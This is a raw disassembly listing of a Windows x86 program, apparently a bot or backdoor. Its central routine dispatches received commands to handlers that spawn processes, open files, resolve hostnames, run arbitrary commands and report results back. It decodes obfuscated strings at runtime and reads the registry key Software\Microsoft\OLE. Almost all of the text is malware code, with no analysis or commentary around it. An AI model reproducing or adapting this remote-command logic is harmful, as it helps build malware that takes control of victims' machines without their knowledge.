		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_40144C
		dec	ebp
		jnz	short loc_40496B


loc_404978:				; CODE XREF: sub_404600+356j
					; sub_404600+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_4049AA
; ---------------------------------------------------------------------------


loc_40498E:				; CODE XREF: sub_404600+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_4049A5
		call	sub_401F87
		jmp	short loc_4049AA
; ---------------------------------------------------------------------------


loc_4049A5:				; CODE XREF: sub_404600+39Cj
		call	sub_40144C


loc_4049AA:				; CODE XREF: sub_404600+162j
					; sub_404600+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404600	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404AD0	proc near		; CODE XREF: sub_401F87j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_44AC62
		call	sub_4014DD
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404B16
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404B16
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B16:				; CODE XREF: sub_404AD0+1Dj
					; sub_404AD0+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404B56
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404B56
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_401479
		cmp	byte ptr [eax],	23h
		jz	short loc_404B56
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B56:				; CODE XREF: sub_404AD0+64j
					; sub_404AD0+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_40144C
		pop	edi
		pop	esi
		retn	4
sub_404AD0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404BA0	proc near		; CODE XREF: sub_40144Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_449118
		call	sub_401B04
		test	eax, eax
		jz	short loc_404BCA
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404BCA:				; CODE XREF: sub_404BA0+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404BA0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404BE0	proc near		; CODE XREF: sub_40186Bj
		push	esi
		push	edi
		mov	edi, dword_5118AC
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D8099
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C0F
		mov	ecx, offset byte_4D8075
		call	sub_401D20
		call	edi
		mov	dword_4D8099, eax


loc_404C0F:				; CODE XREF: sub_404BE0+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404BE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C30	proc near		; CODE XREF: sub_4017D0j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404CA4
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_404CA4:				; CODE XREF: sub_404C30+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404E35
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C71
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017EE
		push	eax
		call	near ptr 27F0000h
		nop
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FDC
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014DD
		push	eax
		push	0
		call	near ptr 27E059Dh
		nop
		test	eax, eax
		jnz	short loc_404E09
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_405628
; ---------------------------------------------------------------------------


loc_404E09:				; CODE XREF: sub_404C30+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_404E35:				; CODE XREF: sub_404C30+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404EE4
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E8E45
		mov	[esp+178h+var_4], 3
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404ED0
		mov	al, byte_449896
		test	al, al
		jz	short loc_404EA0
		push	offset dword_449834
		mov	ecx, offset dword_44AD70
		call	sub_401451


loc_404EA0:				; CODE XREF: sub_404C30+25Fj
		mov	al, byte_4498DF
		test	al, al
		jz	short loc_404EB8
		push	offset byte_44990F
		mov	ecx, offset dword_44AD70
		call	sub_401951


loc_404EB8:				; CODE XREF: sub_404C30+277j
		mov	ecx, offset dword_44AD70
		call	sub_401E79
		mov	byte_4D808C, 0
		mov	byte_4E8E44, 0


loc_404ED0:				; CODE XREF: sub_404C30+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_405628
; ---------------------------------------------------------------------------


loc_404EE4:				; CODE XREF: sub_404C30+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F2C
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		mov	ecx, offset word_4E8E5A
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_404F2C:				; CODE XREF: sub_404C30+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404FE6
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019C4
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1D4h+var_164]
		push	9
		push	ecx
		mov	[esp+1DCh+var_4], 4
		call	sub_4019C4
		add	esp, 64h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_404FE6:				; CODE XREF: sub_404C30+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405104
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A9B
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017EE
		push	eax
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_402112
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40202C
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_405628
; ---------------------------------------------------------------------------


loc_405104:				; CODE XREF: sub_404C30+3CBj
		lea	ecx, [edi+0D99h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405127
		mov	byte_4D808C, al
		mov	al, 1
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_405127:				; CODE XREF: sub_404C30+4E9j
		lea	ecx, [edi+0D3Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4053EE
		lea	ecx, [esp+178h+var_11C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_4051B1
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_405628
; ---------------------------------------------------------------------------


loc_4051B1:				; CODE XREF: sub_404C30+56Bj
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 71AB2BF4h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_405284
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		nop
		call	near ptr 71ABE479h
		mov	edi, eax
		test	edi, edi
		jz	loc_405365
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_4053CB
; ---------------------------------------------------------------------------


loc_405284:				; CODE XREF: sub_404C30+5C7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017EE
		push	eax
		call	near ptr 71AB4FD4h
		nop
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_405365
		mov	ecx, [edi+0Ch]
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016B8
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		nop
		call	near ptr 71AB3F41h
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_405365:				; CODE XREF: sub_404C30+5E0j
					; sub_404C30+691j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017EE
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_4053CB:				; CODE XREF: sub_404C30+64Fj
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_4053EE:				; CODE XREF: sub_404C30+50Cj
		lea	ecx, [edi+0BCDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4054DC
		lea	ecx, [edi+9]
		call	sub_4017EE
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402040
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+190h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+198h+var_4], ebx
		call	sub_4019C4
		add	esp, 20h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8075
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E45
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_4054DC:				; CODE XREF: sub_404C30+7D3j
		lea	ecx, [edi+0E23h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40564A
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013E3
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013E3
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013E3
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_40562D
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013E3
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_401479
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015E1
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017EE
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C293C7h
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_4055E4
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405602
; ---------------------------------------------------------------------------


loc_4055E4:				; CODE XREF: sub_404C30+997j
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405602:				; CODE XREF: sub_404C30+9B2j
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_405628:				; CODE XREF: sub_404C30+1D4j
					; sub_404C30+2AFj ...
		call	sub_401226


loc_40562D:				; CODE XREF: sub_404C30+91Cj
					; sub_404C30+C6Aj
		xor	al, al


loc_40562F:				; CODE XREF: sub_404C30+6Fj
					; sub_404C30+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_40564A:				; CODE XREF: sub_404C30+8C1j
		lea	ecx, [edi+0C85h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4056C0
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F5A
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_4056C0:				; CODE XREF: sub_404C30+A2Fj
		lea	ecx, [edi+0CE1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4057B1
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E45
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E8E45
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8075
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_4057B1:				; CODE XREF: sub_404C30+AA5j
		lea	ecx, [edi+0CB3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405885
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_405819
		mov	ebx, 7


loc_405819:				; CODE XREF: sub_404C30+BE2j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40195B
		push	offset byte_448F30
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_40586E
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_40586E:				; CODE XREF: sub_404C30+C11j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_405885:				; CODE XREF: sub_404C30+B96j
		lea	ecx, [edi+0DF5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40562D
		lea	ecx, [esp+178h+var_100]
		call	sub_40142E
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019C4
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A9B
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_511764
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019C4
		add	esp, 30h
